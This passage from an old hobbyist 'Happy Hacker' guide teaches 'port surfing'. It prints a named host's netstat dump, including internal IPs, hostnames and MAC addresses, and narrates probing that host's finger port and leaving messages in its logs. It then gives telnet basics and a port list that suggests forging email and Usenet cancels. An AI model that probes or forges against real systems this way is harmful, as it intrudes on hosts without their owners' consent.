206.206.118 GLORY.NM.ORG Up,Gateway 0 3423 se0 1500
206.206.119 GLORY.NM.ORG Up,Gateway 0 282 se0 1500
206.206.183 SIENNA.NM.ORG Up,Gateway 0 2473 se0 1500
143.120.0 LAWRII.NM.ORG Up,Gateway 0 123533 se0 1500
206.206.184 GLORY.NM.ORG Up,Gateway 0 1114 se0 1500
205.167.120 GLORY.NM.ORG Up,Gateway 0 4202 se0 1500
206.206.121 GLORY.NM.ORG Up,Gateway 1 71 se0 1500
129.121.0 GRANDE.NM.ORG Up 12 21658599 se0 1500
204.134.122 GLORY.NM.ORG Up,Gateway 0 195 se0 1500
204.134.58 GLORY.NM.ORG Up,Gateway 0 7707 se0 1500
128.123.0 GLORY.NM.ORG Up,Gateway 0 34416 se0 1500
204.134.59 GLORY.NM.ORG Up,Gateway 0 1007 se0 1500
204.134.124 GLORY.NM.ORG Up,Gateway 0 37160 se0 1500
206.206.124 LAWRII.NM.ORG Up,Gateway 0 79 se0 1500
206.206.125 PENNY.NM.ORG Up,Gateway 0 233359 se0 1500
204.134.126 GLORY.NM.ORG Up,Gateway 0 497 se0 1500
206.206.126 LAWRII.NM.ORG Up,Gateway 0 13644 se0 1500
204.69.190 GLORY.NM.ORG Up,Gateway 0 4059 se0 1500
206.206.190 GLORY.NM.ORG Up,Gateway 0 1630 se0 1500
```

```
204.134.127 GLORY.NM.ORG Up,Gateway 0 45621 se0 1500
206.206.191 GLORY.NM.ORG Up,Gateway 0 3574 se0 1500
MultiNet IPX Routing tables:
Destination Gateway Flags Refcnt Use Interface MTU
---------- ---------- ----- ------ ----- --------- ----
MultiNet ARP table:
Host Network Address Ethernet Address Arp Flags
-------------------------------------------- ----------------
---------
GLORY.NM.ORG (IP 129.121.1.4) AA:00:04:00:61:D0 Temporary
[UNKNOWN] (IP 129.121.251.1) 00:C0:05:01:2C:D2 Temporary
NARANJO.NM.ORG (IP 129.121.1.56) 08:00:87:04:9F:42 Temporary
CHAMA.NM.ORG (IP 129.121.1.8) AA:00:04:00:0C:D0 Temporary
[UNKNOWN] (IP 129.121.251.5) AA:00:04:00:D2:D0 Temporary
LAWRII.NM.ORG (IP 129.121.254.10) AA:00:04:00:5C:D0 Temporary
[UNKNOWN] (IP 129.121.1.91) 00:C0:05:01:2C:D2 Temporary
BRAVO.NM.ORG (IP 129.121.1.6) AA:00:04:00:0B:D0 Temporary
PENNY.NM.ORG (IP 129.121.1.10) AA:00:04:00:5F:D0 Temporary
ARRIBA.NM.ORG (IP 129.121.1.14) 08:00:2B:BC:C1:A7 Temporary
AZUL.NM.ORG (IP 129.121.1.51) 08:00:87:00:A1:D3 Temporary
ENSS365.NM.ORG (IP 129.121.1.3) 00:00:0C:51:EF:58 Temporary
AVATAR.NM.ORG (IP 129.121.254.1) 08:00:5A:1D:52:0D Temporary
[UNKNOWN] (IP 129.121.253.2) 08:00:5A:47:4A:1D Temporary
[UNKNOWN] (IP 129.121.254.5) 00:C0:7B:5F:5F:80 Temporary
CONCHAS.NM.ORG (IP 129.121.1.11) 08:00:5A:47:4A:1D Temporary
[UNKNOWN] (IP 129.121.253.10) AA:00:04:00:4B:D0 Temporary
MultiNet Network Interface statistics:
Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Collis
---- --- ------- ------------- ----- ----- ----- ----- -----
-
se0 1500 129.121.0 GRANDE.NM.ORG 68422948 0 53492833 1 0
lo0 4136 127.0.0 127.0.0.1 1188191 0 1188191 0 0
MultiNet Protocol statistics:
65264173 IP packets received
22 IP packets smaller than minimum size
6928 IP fragments received
4 IP fragments timed out
34 IP received for unreachable destinations
704140 ICMP error packets generated
9667 ICMP opcodes out of range
4170 Bad ICMP packet checksums
734363 ICMP responses
734363 ICMP "Echo" packets received
734363 ICMP "Echo Reply" packets sent
18339 ICMP "Echo Reply" packets received
704140 ICMP "Destination Unreachable" packets sent
451243 ICMP "Destination Unreachable" packets received
```

```
1488 ICMP "Source Quench" packets received
163911 ICMP "ReDirect" packets received
189732 ICMP "Time Exceeded" packets received
126966 TCP connections initiated
233998 TCP connections established
132611 TCP connections accepted
67972 TCP connections dropped
28182 embryonic TCP connections dropped
269399 TCP connections closed
10711838 TCP segments timed for RTT
10505140 TCP segments updated RTT
3927264 TCP delayed ACKs sent
666 TCP connections dropped due to retransmit timeouts
111040 TCP retransmit timeouts
3136 TCP persist timeouts
9 TCP persist connection drops
16850 TCP keepalive timeouts
1195 TCP keepalive probes sent
14392 TCP connections dropped due to keepalive timeouts
28842663 TCP packets sent
12714484 TCP data packets sent
1206060086 TCP data bytes sent
58321 TCP data packets retransmitted
22144036 TCP data bytes retransmitted
6802199 TCP ACK-only packets sent
1502 TCP window probes sent
483 TCP URG-only packets sent
8906175 TCP Window-Update-only packets sent
359509 TCP control packets sent
38675084 TCP packets received
28399363 TCP packets received in sequence
1929418386 TCP bytes received in sequence
25207 TCP packets with checksum errors
273374 TCP packets were duplicates
230525708 TCP bytes were duplicates
3748 TCP packets had some duplicate bytes
493214 TCP bytes were partial duplicates
2317156 TCP packets were out of order
3151204672 TCP bytes were out of order
1915 TCP packets had data after window
865443 TCP bytes were after window
5804 TCP packets for already closed connection
941 TCP packets were window probes
10847459 TCP packets had ACKs
222657 TCP packets had duplicate ACKs
1 TCP packet ACKed unsent data
1200274739 TCP bytes ACKed
```

```
141545 TCP packets had window updates
13 TCP segments dropped due to PAWS
4658158 TCP segments were predicted pure-ACKs
24033756 TCP segments were predicted pure-data
8087980 TCP PCB cache misses
305 Bad UDP header checksums
17 Bad UDP data length fields
23772272 UDP PCB cache misses
MultiNet Buffer Statistics:
388 out of 608 buffers in use:
30 buffers allocated to Data.
10 buffers allocated to Packet Headers.
66 buffers allocated to Socket Structures.
57 buffers allocated to Protocol Control Blocks.
163 buffers allocated to Routing Table Entries.
2 buffers allocated to Socket Names and Addresses.
48 buffers allocated to Kernel Fork-Processes.
2 buffers allocated to Interface Addresses.
1 buffer allocated to Multicast Addresses.
1 buffer allocated to Timeout Callbacks.
6 buffers allocated to Memory Management.
2 buffers allocated to Network TTY Control Blocks.
11 out of 43 page clusters in use.
11 CXBs borrowed from VMS device drivers
2 CXBs waiting to return to the VMS device drivers
162 Kbytes allocated to MultiNet buffers (44% in use).
226 Kbytes of allocated buffer address space (0% of maximum).
Connection closed by foreign host.
<slug> [68] ->
```

Whoa! What was all that?

What we did was telnet to port 15 -- the netstat port-- which on some computers runs a daemon that tells anybody who cares to drop in just about everything about the connection made by all the computers linked to the Internet through this computer.

So from this we learned two things:

1) Grande.nm.org is a very busy and important computer.

2) Even a very busy and important computer can let the random port surfer come and play.

So my lady friend wanted to try out another port. I suggested the finger port, number 79. So she gave the command:

```
<slug> [68] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
finger
?Sorry, could not find "FINGER"
```

```
Connection closed by foreign host.
<slug> [69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
help
?Sorry, could not find "HELP"
Connection closed by foreign host.
<slug> [69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
?
?Sorry, could not find "?"
Connection closed by foreign host.
<slug> [69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
man
?Sorry, could not find "MAN"
Connection closed by foreign host.
<slug> [69] ->
```

At first this looks like just a bunch of failed commands. But actually this is pretty fascinating. The reason is that port 79 is, under IETF rules, supposed to run fingerd, the finger daemon. So when she gave the command “finger” and grande.nm.org said ?Sorry, could not find "FINGER,” we knew this port was not following IETF rules.

Now on may computers they don’t run the finger daemon at all. This is because finger has so properties that can be used to gain total control of the computer that runs it.

But if finger is shut down, and nothing else is running on port 79, we woudl get the answer:

```
telnet: connect: Connection refused.
```

But instead we got connected and grande.nm.org was waiting for a command.

Now the normal thing a port surfer does when running an unfmiliar daemon is to coax it into revealing what commands it uses. “Help,” “?” and “man” often work. But it didn’t help us.

But even though these commands didn’t help us, they did tell us that the daemon is probably something sensitive. If it were a daemon that was meant for anybody and his brother to use, it would have given us instructions.

So what did we do next? We decided to be good Internet citizens and also stay out of jail We decided we’d beter log off.

But there was one hack we decided to do first: leave our mark on the shell log file.

The shell log file keeps a record of all operating system commands made on a computer. The adminsitrator of an obviously important computer such as grande.nm.org is probably competent enough to scan the records of what commands are given by whom to his computer. Especially on a port important enough to be running a mystery, non-IETF daemon. So everything we types while connected was saved on a log.

So my friend giggled with glee and left a few messages on port 79 before logging off. Oh, dear, I do believe she’s hooked on hacking. Hmmm, it could be a good way to meet cute sysadmins...

So, port surf’s up! If you want to surf, here’s the basics:

1) Get logged on to a shell account. That’s an account with your ISP that lets you give Unix commands. Or -- run Linux or some other kind of Unix on your PC and hook up to the Internet.

2) Give the command “telnet <hostname> <pot number>“ where <hostname> is the internet address of the computer you wnat to visit and <port number> is whatever looks phun to you.

3) If you get the response “connected to <hostname>,” then surf’s up!

Following are some of my favorite ports. It is legal and harmless to pay them visits so long as you don’t figure out how to gain superuser status while playing with them. However, please note that if you do too much port surfing from your shell account, your sysadmin may notice this in his or her shell log file. If he or she is prejudiced against hacking , you may get kicked off your ISP. So you may want to explain in advance that you are merely a harmless hacker looking to have a good time, er, um, learn about Unix. Yeh, that sounds good...

Port number Service Why it’s phun!

7 echo Whatever you type in, the host repeats back to you, used for ping

9 discard Dev/null -- how fast can you figure out this one?

11 systat Lots of info on users

13 daytime Time and date at computer’s location

15 netstat Tremendous info on networks but rarely used any more

19 chargen Pours out a stream of ASCII characters. Use ^C to stop.

21 ftp Transfers files
22 ssh secure shell login -- encrypted tunnel
23 telnet Where you log in if you don’t use ssh:)
25 smpt Forge email from Bill.Gates@Microsoft.org.
37 time Time
39 rlp Resource location
43 whois Info on hosts and networks
53 domain Nameserver
70 gopher Out-of-date info hunter
79 finger Lots of info on users
80 http Web server
110 pop Incoming email
119 nntp Usenet news groups -- forge posts, cancels
443 shttp Another web server
512 biff Mail notification
513 rlogin Remote login
who Remote who and uptime
514 shell Remote command, no password used!
syslog Remote system logging -- how we bust hackers
520 route Routing information protocol
****

Propeller head tip: Note that in most cases an Internet host will use these port number assignments for these services. More than one service may also be assigned simultaneously to the same port. This numbering system is voluntarily offered by the Internet Engineering Task Force (IETF). That means that an Internet host may use other ports for these services. Expect the unexpected!

If you have a copy of Linux, you can get the list of all the IETF assignments of port numbers in the file /etc/services.
****

To subscribe to the Happy Hacker list, email hacker@techbroker.com with messge “subscribe hh.” Send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking!